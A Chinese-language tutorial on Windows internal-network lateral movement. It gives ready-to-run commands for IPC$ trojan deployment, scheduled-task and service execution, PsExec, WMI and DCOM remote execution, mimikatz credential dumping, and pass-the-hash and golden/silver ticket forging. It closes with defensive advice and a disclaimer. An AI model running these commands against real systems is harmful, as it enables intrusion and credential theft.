横向移动的n种姿势
字数 1535 2025-08-05 08:19:06
Windows内网横向移动技术详解
一、IPC$连接利用
1. IPC$基础概念
- IPC$(Internet Process Connection)是Windows进程间通信的"管道"
- 通过提供用户名密码建立加密通道,实现文件上传、下载和命令执行
- 同一时间两个IP之间只能建立一个IPC$连接
2. 利用条件
- 目标未禁用IPC$连接,开放139/445端口
- 目标开启了默认共享服务(逻辑盘、系统目录)
- 获取了目标管理员权限的账号密码(最好是域管理员)
- 目标系统支持IPC$且与攻击机网络互通
3. 基本操作流程
- 建立IPC$连接:
net use \\<IP>\ipc$ password /user:username
- 查看当前连接:
net use
- 目录操作:
dir \\192.168.52.138\c$
- 磁盘映射:
net use z: \\ip\c$ password /user:Administrator
net use z: \\ip\c$ # 已建立连接时使用
- 删除连接:
net use \\ip\ipc$ /del
二、计划任务利用
1. at命令(适用于2003及以下系统)
- 通过IPC$连接
- 确定目标时间:
net time \\ip
- 拷贝木马:
copy <本地木马路径> \\<靶机IP>\c$
- 创建计划任务:
at \\<靶机IP> <启动时间> <木马在靶机的位置>
- 删除计划任务:
at \\192.168.52.141 1 /delete
2. schtasks命令(适用于2008及以上系统)
- 建立IPC$连接
- 拷贝木马:
copy C:\artifact.exe \\192.168.52.141\c$
- 创建计划任务:
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
- 查看任务:
schtasks /query /TN cs
- 删除任务:
schtasks /delete /tn "cs"
三、Windows服务利用
1. 利用条件
- 当前主机需要administrator权限
2. 操作流程
- 建立IPC$连接
- 拷贝木马到目标系统
- 创建服务:
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"
- 启动服务:
sc \\WIN-M836NN6NU8B start shell
- 删除服务:
sc \\[host] delete [servicename]
四、PsExec工具利用
1. 利用条件
- 目标开启admin$共享(默认开启)
- 目标未开启防火墙
- 工作组环境必须使用administrator用户连接
- 域环境可用普通域用户或域管理员连接
2. 基本用法
- 直接执行:
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
- 先建立IPC$连接:
net use \\192.168.10.3\ipc$ <password> /user:administrator
PsExec64.exe -accepteula \\192.168.10.3 cmd.exe
- 直接执行命令:
PsExec64.exe -accepteula \\192.168.10.3 ipconfig
3. MSF中的PsExec模块
常用模块:
- exploit/windows/smb/psexec
- exploit/windows/smb/ms17_10_psexec
五、WMI利用
1. 基本WMI命令
- 查询进程信息:
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
- 远程创建进程:
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"
2. wmiexec工具
- impacket中的wmiexec.py:
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig"
- wmiexec.vbs:
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
- PowerShell的Invoke-WMIMethod:
$User = "WIN-U8TRGT93CTR\administrator"
$Password = ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred
六、DCOM利用
1. 利用条件
- 能关闭靶机防火墙
- 拥有cmdshell、靶机需要使用administrator账户
2. 操作流程
- 建立IPC$连接
- 上传木马到靶机
- 调用DCOM远程执行命令
3. 具体方法
- 调用MMC20.Application:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
- 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c c:\shell.exe", "c:\windows\system32", $null, 0)
- 调用Excel.Application:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
七、哈希传递攻击(PTH)
1. 基本原理
- 直接使用LM Hash和NTLM Hash访问远程主机或服务
- 适用于:域/工作组环境、无法爆破hash、内网存在相同密码机器
2. 利用方法
- 使用mimikatz抓取hash:
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
- 哈希传递:
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
八、票据传递攻击(PTT)
1. MS14-068漏洞利用
- 获取域成员SID
- 生成TGT票据:
MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>
- 票据注入:
kerberos::purge
kerberos::ptc 票据文件
2. 黄金票据(Golden Ticket)
- 获取krbtgt hash:
lsadump::lsa /patch
- 生成黄金票据:
kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
- 注入票据:
kerberos::ptt gold.kirbi
3. 白银票据(Silver Ticket)
- 获取机器ntlm hash:
sekurlsa::logonpasswords
- 生成白银票据:
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
九、密钥传递攻击(PTK)
1. 基本原理
- 使用AES密钥而非明文密码进行认证
- 适用于不支持RC4加密方式的场景
2. 利用方法
- 获取AES key:
sekurlsa::ekeys
- 注入AES key:
sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d
十、防御建议
- 禁用不必要的共享和服务(如IPC$)
- 及时安装补丁(如MS14-068)
- 限制管理员权限使用
- 监控异常的计划任务和服务创建
- 启用NTLM认证的增强保护
- 定期轮换krbtgt账户密码
- 实施网络分段,限制横向移动路径
- 监控异常的身份验证活动
以上技术仅供安全研究和防御参考,请勿用于非法用途。